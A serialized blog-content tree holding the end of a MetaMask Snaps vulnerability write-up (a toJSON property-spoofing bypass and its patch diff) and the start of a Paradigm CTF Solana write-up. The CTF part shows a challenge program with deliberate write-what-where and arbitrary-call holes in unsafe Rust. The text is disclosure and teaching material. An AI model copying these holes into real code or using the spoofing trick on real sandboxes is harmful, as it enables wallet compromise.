throw",{"type":23,"tag":213,"props":40334,"children":40335},{"style":230},[40336],{"type":28,"value":31989},{"type":23,"tag":213,"props":40338,"children":40339},{"style":257},[40340],{"type":28,"value":40341}," Error",{"type":23,"tag":213,"props":40343,"children":40344},{"style":220},[40345],{"type":28,"value":265},{"type":23,"tag":213,"props":40347,"children":40348},{"style":246},[40349],{"type":28,"value":40350},"'Method not found.'",{"type":23,"tag":213,"props":40352,"children":40353},{"style":220},[40354],{"type":28,"value":2867},{"type":23,"tag":213,"props":40356,"children":40357},{"class":215,"line":23918},[40358],{"type":23,"tag":213,"props":40359,"children":40360},{"style":220},[40361],{"type":28,"value":5964},{"type":23,"tag":213,"props":40363,"children":40364},{"class":215,"line":23972},[40365],{"type":23,"tag":213,"props":40366,"children":40367},{"style":220},[40368],{"type":28,"value":16629},{"type":23,"tag":24,"props":40370,"children":40371},{},[40372,40374,40380,40382,40387],{"type":28,"value":40373},"We set ",{"type":23,"tag":209,"props":40375,"children":40377},{"className":40376},[],[40378],{"type":28,"value":40379},"x.method = \"snap_dialog\"",{"type":28,"value":40381}," to pass the assertion and setup a toJSON function to change this method to ",{"type":23,"tag":209,"props":40383,"children":40385},{"className":40384},[],[40386],{"type":28,"value":39589},{"type":28,"value":40388}," after.",{"type":23,"tag":9693,"props":40390,"children":40392},{"id":40391},"mitigation",[40393],{"type":28,"value":40394},"Mitigation",{"type":23,"tag":24,"props":40396,"children":40397},{},[40398,40400,40405,40407,40414],{"type":28,"value":40399},"Metamask mitigated this issue by asserting the arguments after the ",{"type":23,"tag":209,"props":40401,"children":40403},{"className":40402},[],[40404],{"type":28,"value":39133},{"type":28,"value":40406}," function execution. The patch was introduced on commit ",{"type":23,"tag":36,"props":40408,"children":40411},{"href":40409,"rel":40410},"https://github.com/MetaMask/snaps/pull/1762/commits/168ff082102a65e2aad428f44c5b10f9a100c689",[40],[40412],{"type":28,"value":40413},"168ff08",{"type":28,"value":40415}," with the following changes:",{"type":23,"tag":202,"props":40417,"children":40421},{"className":40418,"code":40419,"language":40420,"meta":7,"style":7},"language-diff shiki shiki-themes slack-dark","const request = async (args: RequestArguments) => {\n- assertEthereumOutboundRequest(args);\n- const sanitizedArgs = getSafeJson(args);\n+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n+ assertEthereumOutboundRequest(sanitizedArgs);\n","diff",[40422],{"type":23,"tag":209,"props":40423,"children":40424},{"__ignoreMap":7},[40425,40433,40441,40449,40457],{"type":23,"tag":213,"props":40426,"children":40427},{"class":215,"line":216},[40428],{"type":23,"tag":213,"props":40429,"children":40430},{"style":220},[40431],{"type":28,"value":40432},"const request = async (args: RequestArguments) => {\n",{"type":23,"tag":213,"props":40434,"children":40435},{"class":215,"line":226},[40436],{"type":23,"tag":213,"props":40437,"children":40438},{"style":246},[40439],{"type":28,"value":40440},"- assertEthereumOutboundRequest(args);\n",{"type":23,"tag":213,"props":40442,"children":40443},{"class":215,"line":524},[40444],{"type":23,"tag":213,"props":40445,"children":40446},{"style":246},[40447],{"type":28,"value":40448},"- const sanitizedArgs = getSafeJson(args);\n",{"type":23,"tag":213,"props":40450,"children":40451},{"class":215,"line":533},[40452],{"type":23,"tag":213,"props":40453,"children":40454},{"style":514},[40455],{"type":28,"value":40456},"+ const sanitizedArgs = getSafeJson(args) as RequestArguments;\n",{"type":23,"tag":213,"props":40458,"children":40459},{"class":215,"line":543},[40460],{"type":23,"tag":213,"props":40461,"children":40462},{"style":514},[40463],{"type":28,"value":40464},"+ assertEthereumOutboundRequest(sanitizedArgs);\n",{"type":23,"tag":47,"props":40466,"children":40467},{"id":28989},[40468],{"type":28,"value":19000},{"type":23,"tag":24,"props":40470,"children":40471},{},[40472],{"type":28,"value":40473},"This unique property spoofing vulnerability in the Snaps sandboxing implementation illustrates the wide range of control attackers have in Javascript, which makes designing robust sandbox implementations an extremely complex task.",{"type":23,"tag":24,"props":40475,"children":40476},{},[40477],{"type":28,"value":40478},"Metamask has implemented numerous layers to mitigate potential exploits, and we're proud to help contribute to making Snaps more secure.",{"type":23,"tag":2957,"props":40480,"children":40481},{},[40482],{"type":28,"value":2961},{"title":7,"searchDepth":226,"depth":226,"links":40484},[40485,40486,40493,40501],{"id":19009,"depth":226,"text":19012},{"id":35510,"depth":226,"text":35513,"children":40487},[40488,40489,40490,40491,40492],{"id":35521,"depth":524,"text":35524},{"id":35589,"depth":524,"text":35592},{"id":35625,"depth":524,"text":35628},{"id":37021,"depth":524,"text":37024},{"id":37379,"depth":524,"text":37382},{"id":38166,"depth":226,"text":38169,"children":40494},[40495,40496,40497,40498,40499,40500],{"id":38172,"depth":524,"text":38175},{"id":38216,"depth":524,"text":38219},{"id":39119,"depth":524,"text":39122},{"id":5755,"depth":524,"text":5758},{"id":39562,"depth":524,"text":34886},{"id":40391,"depth":524,"text":40394},{"id":28989,"depth":226,"text":19000},"content:blog:2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps.md","blog/2023-11-01-metamask-snaps",{"_path":40506,"_dir":5,"_draft":6,"_partial":6,"_locale":7,"title":40507,"description":40508,"author":40509,"image":40511,"date":40513,"isFeatured":18,"onBlogPage":18,"body":40514,"_type":2967,"_id":45922,"_source":2969,"_file":45923,"_stem":45924,"_extension":2972},"/blog/2023-12-11-jumping-around-in-the-vm","Solana: Jumping Around in the VM","An exploration of low-level Solana VM behavior. How to escalate from a powerful memory corruption primitive to full program control.",[40510,5813],"nicola",{"src":40512},"/posts/jumping-around-in-the-vm/cover.png","2023-12-11",{"type":20,"children":40515,"toc":45911},[40516,40530,40549,40554,40558,40571,40596,40602,40607,40622,40975,40990,41254,41270,41913,41919,41924,41937,41945,42157,42165,42468,42476,42619,42627,43152,43158,43170,43183,43197,43202,43961,43966,43974,43979,43985,43997,44062,44067,44080,44093,44099,44127,45278,45291,45333,45338,45343,45357,45497,45518,45539,45546,45597,45605,45616,45629,45634,45758,45771,45873,45877,45890,45895,45907],{"type":23,"tag":24,"props":40517,"children":40518},{},[40519,40521,40528],{"type":28,"value":40520},"In the world of CTFs, ",{"type":23,"tag":36,"props":40522,"children":40525},{"href":40523,"rel":40524},"https://twitter.com/paradigm_ctf",[40],[40526],{"type":28,"value":40527},"Paradigm CTF 2023",{"type":28,"value":40529}," was like no other. Presenting a unique Solana challenge, the goal was to leverage Jump Oriented Programming, a web2 binary exploitation technique, inside the Solana VM to achieve arbitrary CPI execution.",{"type":23,"tag":24,"props":40531,"children":40532},{},[40533,40535,40541,40542],{"type":28,"value":40534},"To succeed in this challenge, a strong understanding of the Solana VM is required. We've explored parts of the Solana VM internals in two previous blog posts: ",{"type":23,"tag":36,"props":40536,"children":40539},{"href":40537,"rel":40538},"https://osec.io/blog/2022-03-14-solana-security-intro",[40],[40540],{"type":28,"value":8},{"type":28,"value":1466},{"type":23,"tag":36,"props":40543,"children":40546},{"href":40544,"rel":40545},"https://osec.io/blog/2022-08-27-reverse-engineering-solana",[40],[40547],{"type":28,"value":40548},"Reverse Engineering Solana with Binary Ninja.\n",{"type":23,"tag":24,"props":40550,"children":40551},{},[40552],{"type":28,"value":40553},"In this comprehensive overview, we'll break down critical components of the Solana BPF VM necessary to write a complete memory-corruption exploit. We then turn an arbitrary function call and memory write primitive into a full exploit.",{"type":23,"tag":47,"props":40555,"children":40556},{"id":19009},[40557],{"type":28,"value":19012},{"type":23,"tag":24,"props":40559,"children":40560},{},[40561,40563,40569],{"type":28,"value":40562},"The challenge itself resides into ",{"type":23,"tag":209,"props":40564,"children":40566},{"className":40565},[],[40567],{"type":28,"value":40568},"framework/",{"type":28,"value":40570},", and is composed of 2 parts:",{"type":23,"tag":168,"props":40572,"children":40573},{},[40574,40585],{"type":23,"tag":135,"props":40575,"children":40576},{},[40577,40583],{"type":23,"tag":209,"props":40578,"children":40580},{"className":40579},[],[40581],{"type":28,"value":40582},"framework/chall/lib.rs",{"type":28,"value":40584},": The on-chain eBPF program that needs to be exploited.",{"type":23,"tag":135,"props":40586,"children":40587},{},[40588,40594],{"type":23,"tag":209,"props":40589,"children":40591},{"className":40590},[],[40592],{"type":28,"value":40593},"framework/src/main.rs",{"type":28,"value":40595},": Program that setups a solana test environment, gets a single instruction and make it possible to users to interact with the on-chain program.",{"type":23,"tag":9693,"props":40597,"children":40599},{"id":40598},"vulnerable-program",[40600],{"type":28,"value":40601},"Vulnerable Program",{"type":23,"tag":24,"props":40603,"children":40604},{},[40605],{"type":28,"value":40606},"The program is simple: it parses the input data and does something based on the first byte. Each potential action is quite out of the ordinary though!",{"type":23,"tag":131,"props":40608,"children":40609},{},[40610],{"type":23,"tag":135,"props":40611,"children":40612},{},[40613,40614,40620],{"type":28,"value":7569},{"type":23,"tag":209,"props":40615,"children":40617},{"className":40616},[],[40618],{"type":28,"value":40619},"data[0] == 0",{"type":28,"value":40621}," a function that lets you write-what-where is executed",{"type":23,"tag":202,"props":40623,"children":40625},{"className":206,"code":40624,"language":205,"meta":7,"style":7},"#[inline(never)]\npub fn write(data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], *mut u64>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr.write_volatile(val);\n }\n}\n",[40626],{"type":23,"tag":209,"props":40627,"children":40628},{"__ignoreMap":7},[40629,40637,40681,40692,40815,40932,40961,40968],{"type":23,"tag":213,"props":40630,"children":40631},{"class":215,"line":216},[40632],{"type":23,"tag":213,"props":40633,"children":40634},{"style":220},[40635],{"type":28,"value":40636},"#[inline(never)]\n",{"type":23,"tag":213,"props":40638,"children":40639},{"class":215,"line":226},[40640,40644,40648,40653,40657,40661,40665,40669,40673,40677],{"type":23,"tag":213,"props":40641,"children":40642},{"style":230},[40643],{"type":28,"value":233},{"type":23,"tag":213,"props":40645,"children":40646},{"style":230},[40647],{"type":28,"value":254},{"type":23,"tag":213,"props":40649,"children":40650},{"style":257},[40651],{"type":28,"value":40652}," write",{"type":23,"tag":213,"props":40654,"children":40655},{"style":220},[40656],{"type":28,"value":265},{"type":23,"tag":213,"props":40658,"children":40659},{"style":268},[40660],{"type":28,"value":3791},{"type":23,"tag":213,"props":40662,"children":40663},{"style":274},[40664],{"type":28,"value":277},{"type":23,"tag":213,"props":40666,"children":40667},{"style":274},[40668],{"type":28,"value":927},{"type":23,"tag":213,"props":40670,"children":40671},{"style":220},[40672],{"type":28,"value":3821},{"type":23,"tag":213,"props":40674,"children":40675},{"style":290},[40676],{"type":28,"value":474},{"type":23,"tag":213,"props":40678,"children":40679},{"style":220},[40680],{"type":28,"value":479},{"type":23,"tag":213,"props":40682,"children":40683},{"class":215,"line":524},[40684,40688],{"type":23,"tag":213,"props":40685,"children":40686},{"style":230},[40687],{"type":28,"value":13909},{"type":23,"tag":213,"props":40689,"children":40690},{"style":220},[40691],{"type":28,"value":1375},{"type":23,"tag":213,"props":40693,"children":40694},{"class":215,"line":533},[40695,40699,40703,40707,40712,40716,40721,40725,40730,40734,40739,40743,40747,40751,40755,40759,40763,40767,40771,40775,40779,40783,40787,40791,40795,40799,40803,40807,40811],{"type":23,"tag":213,"props":40696,"children":40697},{"style":230},[40698],{"type":28,"value":3163},{"type":23,"tag":213,"props":40700,"children":40701},{"style":268},[40702],{"type":28,"value":13933},{"type":23,"tag":213,"props":40704,"children":40705},{"style":274},[40706],{"type":28,"value":511},{"type":23,"tag":213,"props":40708,"children":40709},{"style":220},[40710],{"type":28,"value":40711}," std",{"type":23,"tag":213,"props":40713,"children":40714},{"style":274},[40715],{"type":28,"value":562},{"type":23,"tag":213,"props":40717,"children":40718},{"style":220},[40719],{"type":28,"value":40720},"mem",{"type":23,"tag":213,"props":40722,"children":40723},{"style":274},[40724],{"type":28,"value":562},{"type":23,"tag":213,"props":40726,"children":40727},{"style":257},[40728],{"type":28,"value":40729},"transmute",{"type":23,"tag":213,"props":40731,"children":40732},{"style":274},[40733],{"type":28,"value":562},{"type":23,"tag":213,"props":40735,"children":40736},{"style":220},[40737],{"type":28,"value":40738},"\u003C[",{"type":23,"tag":213,"props":40740,"children":40741},{"style":290},[40742],{"type":28,"value":474},{"type":23,"tag":213,"props":40744,"children":40745},{"style":220},[40746],{"type":28,"value":17277},{"type":23,"tag":213,"props":40748,"children":40749},{"style":514},[40750],{"type":28,"value":4170},{"type":23,"tag":213,"props":40752,"children":40753},{"style":220},[40754],{"type":28,"value":23108},{"type":23,"tag":213,"props":40756,"children":40757},{"style":274},[40758],{"type":28,"value":1696},{"type":23,"tag":213,"props":40760,"children":40761},{"style":230},[40762],{"type":28,"value":287},{"type":23,"tag":213,"props":40764,"children":40765},{"style":290},[40766],{"type":28,"value":308},{"type":23,"tag":213,"props":40768,"children":40769},{"style":220},[40770],{"type":28,"value":367},{"type":23,"tag":213,"props":40772,"children":40773},{"style":268},[40774],{"type":28,"value":3791},{"type":23,"tag":213,"props":40776,"children":40777},{"style":220},[40778],{"type":28,"value":3821},{"type":23,"tag":213,"props":40780,"children":40781},{"style":274},[40782],{"type":28,"value":3150},{"type":23,"tag":213,"props":40784,"children":40785},{"style":514},[40786],{"type":28,"value":4170},{"type":23,"tag":213,"props":40788,"children":40789},{"style":220},[40790],{"type":28,"value":15470},{"type":23,"tag":213,"props":40792,"children":40793},{"style":274},[40794],{"type":28,"value":124},{"type":23,"tag":213,"props":40796,"children":40797},{"style":257},[40798],{"type":28,"value":26217},{"type":23,"tag":213,"props":40800,"children":40801},{"style":220},[40802],{"type":28,"value":13955},{"type":23,"tag":213,"props":40804,"children":40805},{"style":274},[40806],{"type":28,"value":124},{"type":23,"tag":213,"props":40808,"children":40809},{"style":257},[40810],{"type":28,"value":3754},{"type":23,"tag":213,"props":40812,"children":40813},{"style":220},[40814],{"type":28,"value":15484},{"type":23,"tag":213,"props":40816,"children":40817},{"class":215,"line":543},[40818,40822,40827,40831,40835,40839,40843,40847,40851,40855,40859,40863,40867,40871,40875,40879,40883,40887,40891,40895,40899,40904,40908,40912,40916,40920,40924,40928],{"type":23,"tag":213,"props":40819,"children":40820},{"style":230},[40821],{"type":28,"value":3163},{"type":23,"tag":213,"props":40823,"children":40824},{"style":268},[40825],{"type":28,"value":40826}," val",{"type":23,"tag":213,"props":40828,"children":40829},{"style":274},[40830],{"type":28,"value":511},{"type":23,"tag":213,"props":40832,"children":40833},{"style":220},[40834],{"type":28,"value":40711},{"type":23,"tag":213,"props":40836,"children":40837},{"style":274},[40838],{"type":28,"value":562},{"type":23,"tag":213,"props":40840,"children":40841},{"style":220},[40842],{"type":28,"value":40720},{"type":23,"tag":213,"props":40844,"children":40845},{"style":274},[40846],{"type":28,"value":562},{"type":23,"tag":213,"props":40848,"children":40849},{"style":257},[40850],{"type":28,"value":40729},{"type":23,"tag":213,"props":40852,"children":40853},{"style":274},[40854],{"type":28,"value":562},{"type":23,"tag":213,"props":40856,"children":40857},{"style":220},[40858],{"type":28,"value":40738},{"type":23,"tag":213,"props":40860,"children":40861},{"style":290},[40862],{"type":28,"value":474},{"type":23,"tag":213,"props":40864,"children":40865},{"style":220},[40866],{"type":28,"value":17277},{"type":23,"tag":213,"props":40868,"children":40869},{"style":514},[40870],{"type":28,"value":4170},{"type":23,"tag":213,"props":40872,"children":40873},{"style":220},[40874],{"type":28,"value":23108},{"type":23,"tag":213,"props":40876,"children":40877},{"style":290},[40878],{"type":28,"value":684},{"type":23,"tag":213,"props":40880,"children":40881},{"style":220},[40882],{"type":28,"value":367},{"type":23,"tag":213,"props":40884,"children":40885},{"style":268},[40886],{"type":28,"value":3791},{"type":23,"tag":213,"props":40888,"children":40889},{"style":220},[40890],{"type":28,"value":3821},{"type":23,"tag":213,"props":40892,"children":40893},{"style":514},[40894],{"type":28,"value":4170},{"type":23,"tag":213,"props":40896,"children":40897},{"style":274},[40898],{"type":28,"value":3150},{"type":23,"tag":213,"props":40900,"children":40901},{"style":514},[40902],{"type":28,"value":40903},"16",{"type":23,"tag":213,"props":40905,"children":40906},{"style":220},[40907],{"type":28,"value":15470},{"type":23,"tag":213,"props":40909,"children":40910},{"style":274},[40911],{"type":28,"value":124},{"type":23,"tag":213,"props":40913,"children":40914},{"style":257},[40915],{"type":28,"value":26217},{"type":23,"tag":213,"props":40917,"children":40918},{"style":220},[40919],{"type":28,"value":13955},{"type":23,"tag":213,"props":40921,"children":40922},{"style":274},[40923],{"type":28,"value":124},{"type":23,"tag":213,"props":40925,"children":40926},{"style":257},[40927],{"type":28,"value":3754},{"type":23,"tag":213,"props":40929,"children":40930},{"style":220},[40931],{"type":28,"value":15484},{"type":23,"tag":213,"props":40933,"children":40934},{"class":215,"line":551},[40935,40940,40944,40949,40953,40957],{"type":23,"tag":213,"props":40936,"children":40937},{"style":268},[40938],{"type":28,"value":40939}," ptr",{"type":23,"tag":213,"props":40941,"children":40942},{"style":274},[40943],{"type":28,"value":124},{"type":23,"tag":213,"props":40945,"children":40946},{"style":257},[40947],{"type":28,"value":40948},"write_volatile",{"type":23,"tag":213,"props":40950,"children":40951},{"style":220},[40952],{"type":28,"value":265},{"type":23,"tag":213,"props":40954,"children":40955},{"style":268},[40956],{"type":28,"value":12714},{"type":23,"tag":213,"props":40958,"children":40959},{"style":220},[40960],{"type":28,"value":2867},{"type":23,"tag":213,"props":40962,"children":40963},{"class":215,"line":570},[40964],{"type":23,"tag":213,"props":40965,"children":40966},{"style":220},[40967],{"type":28,"value":2875},{"type":23,"tag":213,"props":40969,"children":40970},{"class":215,"line":655},[40971],{"type":23,"tag":213,"props":40972,"children":40973},{"style":220},[40974],{"type":28,"value":1208},{"type":23,"tag":131,"props":40976,"children":40977},{"start":226},[40978],{"type":23,"tag":135,"props":40979,"children":40980},{},[40981,40982,40988],{"type":28,"value":7569},{"type":23,"tag":209,"props":40983,"children":40985},{"className":40984},[],[40986],{"type":28,"value":40987},"data[0] == 1",{"type":28,"value":40989},", a CPI to a non-existent program is executed:",{"type":23,"tag":202,"props":40991,"children":40993},{"className":206,"code":40992,"language":205,"meta":7,"style":7},"#[inline(never)]\npub fn call(data: &[u8]) {\n let ix = Instruction {\n program_id: pubkey!(\"osecio5555555555555551111111111111111111111\"),\n data: data.try_into().unwrap(),\n accounts: vec![]\n };\n\n invoke_signed_unchecked(\n &ix,\n &[],\n &[],\n ).unwrap();\n}\n",[40994],{"type":23,"tag":209,"props":40995,"children":40996},{"__ignoreMap":7},[40997,41004,41048,41072,41102,41142,41163,41170,41177,41189,41205,41217,41228,41247],{"type":23,"tag":213,"props":40998,"children":40999},{"class":215,"line":216},[41000],{"type":23,"tag":213,"props":41001,"children":41002},{"style":220},[41003],{"type":28,"value":40636},{"type":23,"tag":213,"props":41005,"children":41006},{"class":215,"line":226},[41007,41011,41015,41020,41024,41028,41032,41036,41040,41044],{"type":23,"tag":213,"props":41008,"children":41009},{"style":230},[41010],{"type":28,"value":233},{"type":23,"tag":213,"props":41012,"children":41013},{"style":230},[41014],{"type":28,"value":254},{"type":23,"tag":213,"props":41016,"children":41017},{"style":257},[41018],{"type":28,"value":41019}," call",{"type":23,"tag":213,"props":41021,"children":41022},{"style":220},[41023],{"type":28,"value":265},{"type":23,"tag":213,"props":41025,"children":41026},{"style":268},[41027],{"type":28,"value":3791},{"type":23,"tag":213,"props":41029,"children":41030},{"style":274},[41031],{"type":28,"value":277},{"type":23,"tag":213,"props":41033,"children":41034},{"style":274},[41035],{"type":28,"value":927},{"type":23,"tag":213,"props":41037,"children":41038},{"style":220},[41039],{"type":28,"value":3821},{"type":23,"tag":213,"props":41041,"children":41042},{"style":290},[41043],{"type":28,"value":474},{"type":23,"tag":213,"props":41045,"children":41046},{"style":220},[41047],{"type":28,"value":479},{"type":23,"tag":213,"props":41049,"children":41050},{"class":215,"line":524},[41051,41055,41060,41064,41068],{"type":23,"tag":213,"props":41052,"children":41053},{"style":230},[41054],{"type":28,"value":487},{"type":23,"tag":213,"props":41056,"children":41057},{"style":268},[41058],{"type":28,"value":41059}," ix",{"type":23,"tag":213,"props":41061,"children":41062},{"style":274},[41063],{"type":28,"value":511},{"type":23,"tag":213,"props":41065,"children":41066},{"style":290},[41067],{"type":28,"value":1640},{"type":23,"tag":213,"props":41069,"children":41070},{"style":220},[41071],{"type":28,"value":1375},{"type":23,"tag":213,"props":41073,"children":41074},{"class":215,"line":533},[41075,41080,41084,41089,41093,41098],{"type":23,"tag":213,"props":41076,"children":41077},{"style":268},[41078],{"type":28,"value":41079}," program_id",{"type":23,"tag":213,"props":41081,"children":41082},{"style":274},[41083],{"type":28,"value":277},{"type":23,"tag":213,"props":41085,"children":41086},{"style":257},[41087],{"type":28,"value":41088}," pubkey!",{"type":23,"tag":213,"props":41090,"children":41091},{"style":220},[41092],{"type":28,"value":265},{"type":23,"tag":213,"props":41094,"children":41095},{"style":246},[41096],{"type":28,"value":41097},"\"osecio5555555555555551111111111111111111111\"",{"type":23,"tag":213,"props":41099,"children":41100},{"style":220},[41101],{"type":28,"value":1715},{"type":23,"tag":213,"props":41103,"children":41104},{"class":215,"line":543},[41105,41110,41114,41118,41122,41126,41130,41134,41138],{"type":23,"tag":213,"props":41106,"children":41107},{"style":268},[41108],{"type":28,"value":41109}," data",{"type":23,"tag":213,"props":41111,"children":41112},{"style":274},[41113],{"type":28,"value":277},{"type":23,"tag":213,"props":41115,"children":41116},{"style":268},[41117],{"type":28,"value":1064},{"type":23,"tag":213,"props":41119,"children":41120},{"style":274},[41121],{"type":28,"value":124},{"type":23,"tag":213,"props":41123,"children":41124},{"style":257},[41125],{"type":28,"value":26217},{"type":23,"tag":213,"props":41127,"children":41128},{"style":220},[41129],{"type":28,"value":13955},{"type":23,"tag":213,"props":41131,"children":41132},{"style":274},[41133],{"type":28,"value":124},{"type":23,"tag":213,"props":41135,"children":41136},{"style":257},[41137],{"type":28,"value":3754},{"type":23,"tag":213,"props":41139,"children":41140},{"style":220},[41141],{"type":28,"value":1809},{"type":23,"tag":213,"props":41143,"children":41144},{"class":215,"line":551},[41145,41150,41154,41158],{"type":23,"tag":213,"props":41146,"children":41147},{"style":268},[41148],{"type":28,"value":41149}," accounts",{"type":23,"tag":213,"props":41151,"children":41152},{"style":274},[41153],{"type":28,"value":277},{"type":23,"tag":213,"props":41155,"children":41156},{"style":257},[41157],{"type":28,"value":1665},{"type":23,"tag":213,"props":41159,"children":41160},{"style":220},[41161],{"type":28,"value":41162},"[]\n",{"type":23,"tag":213,"props":41164,"children":41165},{"class":215,"line":570},[41166],{"type":23,"tag":213,"props":41167,"children":41168},{"style":220},[41169],{"type":28,"value":39054},{"type":23,"tag":213,"props":41171,"children":41172},{"class":215,"line":655},[41173],{"type":23,"tag":213,"props":41174,"children":41175},{"emptyLinePlaceholder":18},[41176],{"type":28,"value":530},{"type":23,"tag":213,"props":41178,"children":41179},{"class":215,"line":1176},[41180,41185],{"type":23,"tag":213,"props":41181,"children":41182},{"style":257},[41183],{"type":28,"value":41184}," invoke_signed_unchecked",{"type":23,"tag":213,"props":41186,"children":41187},{"style":220},[41188],{"type":28,"value":1511},{"type":23,"tag":213,"props":41190,"children":41191},{"class":215,"line":1202},[41192,41196,41201],{"type":23,"tag":213,"props":41193,"children":41194},{"style":274},[41195],{"type":28,"value":1818},{"type":23,"tag":213,"props":41197,"children":41198},{"style":268},[41199],{"type":28,"value":41200},"ix",{"type":23,"tag":213,"props":41202,"children":41203},{"style":220},[41204],{"type":28,"value":944},{"type":23,"tag":213,"props":41206,"children":41207},{"class":215,"line":1758},[41208,41212],{"type":23,"tag":213,"props":41209,"children":41210},{"style":274},[41211],{"type":28,"value":1818},{"type":23,"tag":213,"props":41213,"children":41214},{"style":220},[41215],{"type":28,"value":41216},"[],\n",{"type":23,"tag":213,"props":41218,"children":41219},{"class":215,"line":1767},[41220,41224],{"type":23,"tag":213,"props":41221,"children":41222},{"style":274},[41223],{"type":28,"value":1818},{"type":23,"tag":213,"props":41225,"children":41226},{"style":220},[41227],{"type":28,"value":41216},{"type":23,"tag":213,"props":41229,"children":41230},{"class":215,"line":1789},[41231,41235,41239,41243],{"type":23,"tag":213,"props":41232,"children":41233},{"style":220},[41234],{"type":28,"value":3745},{"type":23,"tag":213,"props":41236,"children":41237},{"style":274},[41238],{"type":28,"value":124},{"type":23,"tag":213,"props":41240,"children":41241},{"style":257},[41242],{"type":28,"value":3754},{"type":23,"tag":213,"props":41244,"children":41245},{"style":220},[41246],{"type":28,"value":3759},{"type":23,"tag":213,"props":41248,"children":41249},{"class":215,"line":1812},[41250],{"type":23,"tag":213,"props":41251,"children":41252},{"style":220},[41253],{"type":28,"value":1208},{"type":23,"tag":131,"props":41255,"children":41256},{"start":524},[41257],{"type":23,"tag":135,"props":41258,"children":41259},{},[41260,41262,41268],{"type":28,"value":41261},"Finally, if ",{"type":23,"tag":209,"props":41263,"children":41265},{"className":41264},[],[41266],{"type":28,"value":41267},"data[0]",{"type":28,"value":41269}," is neither 0 nor 1, a function that lets you jump to an arbitrary address, passing an arbitrary value as the first parameter is executed:",{"type":23,"tag":202,"props":41271,"children":41273},{"className":206,"code":41272,"language":205,"meta":7,"style":7},"#[inline(never)]\npub fn process(mut data: &[u8]) {\n unsafe {\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n\n data = &data[16..];\n\n let ptr = std::mem::transmute::\u003C[u8; 8], fn(u64)>(data[..8].try_into().unwrap());\n let val = std::mem::transmute::\u003C[u8; 8], u64>(data[8..16].try_into().unwrap());\n ptr(val);\n }\n}\n",[41274],{"type":23,"tag":209,"props":41275,"children":41276},{"__ignoreMap":7},[41277,41284,41332,41343,41463,41578,41597,41604,41639,41646,41765,41880,41899,41906],{"type":23,"tag":213,"props":41278,"children":41279},{"class":215,"line":216},[41280],{"type":23,"tag":213,"props":41281,"children":41282},{"style":220},[41283],{"type":28,"value":40636},{"type":23,"tag":213,"props":41285,"children":41286},{"class":215,"line":226},[41287,41291,41295,41300,41304,41308,41312,41316,41320,41324,41328],{"type":23,"tag":213,"props":41288,"children":41289},{"style":230},[41290],{"type":28,"value":233},{"type":23,"tag":213,"props":41292,"children":41293},{"style":230},[41294],{"type":28,"value":254},{"type":23,"tag":213,"props":41296,"children":41297},{"style":257},[41298],{"type":28,"value":41299}," process",{"type":23,"tag":213,"props":41301,"children":41302},{"style":220},[41303],{"type":28,"value":265},{"type":23,"tag":213,"props":41305,"children":41306},{"style":230},[41307],{"type":28,"value":287},{"type":23,"tag":213,"props":41309,"children":41310},{"style":268},[41311],{"type":28,"value":1064},{"type":23,"tag":213,"props":41313,"children":41314},{"style":274},[41315],{"type":28,"value":277},{"type":23,"tag":213,"props":41317,"children":41318},{"style":274},[41319],{"type":28,"value":927},{"type":23,"tag":213,"props":41321,"children":41322},{"style":220},[41323],{"type":28,"value":3821},{"type":23,"tag":213,"props":41325,"children":41326},{"style":290},[41327],{"type":28,"value":474},{"type":23,"tag":213,"props":41329,"children":41330},{"style":220},[41331],{"type":28,"value":479},{"type":23,"tag":213,"props":41333,"children":41334},{"class":215,"line":524},[41335,41339],{"type":23,"tag":213,"props":41336,"children":41337},{"style":230},[41338],{"type":28,"value":13909},{"type":23,"tag":213,"props":41340,"children":41341},{"style":220},[41342],{"type":28,"value":1375},{"type":23,"tag":213,"props":41344,"children":41345},{"class":215,"line":533},[41346,41350,41354,41358,41362,41366,41370,41374,41378,41382,41386,41390,41394,41398,41402,41406,41410,41414,41419,41423,41427,41431,41435,41439,41443,41447,41451,41455,41459],{"type":23,"tag":213,"props":41347,"children":41348},{"style":230},[41349],{"type":28,"value":3163},{"type":23,"tag":213,"props":41351,"children":41352},{"style":268},[41353],{"type":28,"value":13933},{"type":23,"tag":213,"props":41355,"children":41356},{"style":274},[41357],{"type":28,"value":511},{"type":23,"tag":213,"props":41359,"children":41360},{"style":220},[41361],{"type":28,"value":40711},{"type":23,"tag":213,"props":41363,"children":41364},{"style":274},[41365],{"type":28,"value":562},{"type":23,"tag":213,"props":41367,"children":41368},{"style":220},[41369],{"type":28,"value":40720},{"type":23,"tag":213,"props":41371,"children":41372},{"style":274},[41373],{"type":28,"value":562},{"type":23,"tag":213,"props":41375,"children":41376},{"style":257},[41377],{"type":28,"value":40729},{"type":23,"tag":213,"props":41379,"children":41380},{"style":274},[41381],{"type":28,"value":562},{"type":23,"tag":213,"props":41383,"children":41384},{"style":220},[41385],{"type":28,"value":40738},{"type":23,"tag":213,"props":41387,"children":41388},{"style":290},[41389],{"type":28,"value":474},{"type":23,"tag":213,"props":41391,"children":41392},{"style":220},[41393],{"type":28,"value":17277},{"type":23,"tag":213,"props":41395,"children":41396},{"style":514},[41397],{"type":28,"value":4170},{"type":23,"tag":213,"props":41399,"children":41400},{"style":220},[41401],{"type":28,"value":23108},{"type":23,"tag":213,"props":41403,"children":41404},{"style":230},[41405],{"type":28,"value":20321},{"type":23,"tag":213,"props":41407,"children":41408},{"style":220},[41409],{"type":28,"value":265},{"type":23,"tag":213,"props":41411,"children":41412},{"style":290},[41413],{"type":28,"value":684},{"type":23,"tag":213,"props":41415,"children":41416},{"style":220},[41417],{"type":28,"value":41418},")>(",{"type":23,"tag":213,"props":41420,"children":41421},{"style":268},[41422],{"type":28,"value":3791},{"type":23,"tag":213,"props":41424,"children":41425},{"style":220},[41426],{"type":28,"value":3821},{"type":23,"tag":213,"props":41428,"children":41429},{"style":274},[41430],{"type":28,"value":3150},{"type":23,"tag":213,"props":41432,"children":41433},{"style":514},[41434],{"type":28,"value":4170},{"type":23,"tag":213,"props":41436,"children":41437},{"style":220},[41438],{"type":28,"value":15470},{"type":23,"tag":213,"props":41440,"children":41441},{"style":274},[41442],{"type":28,"va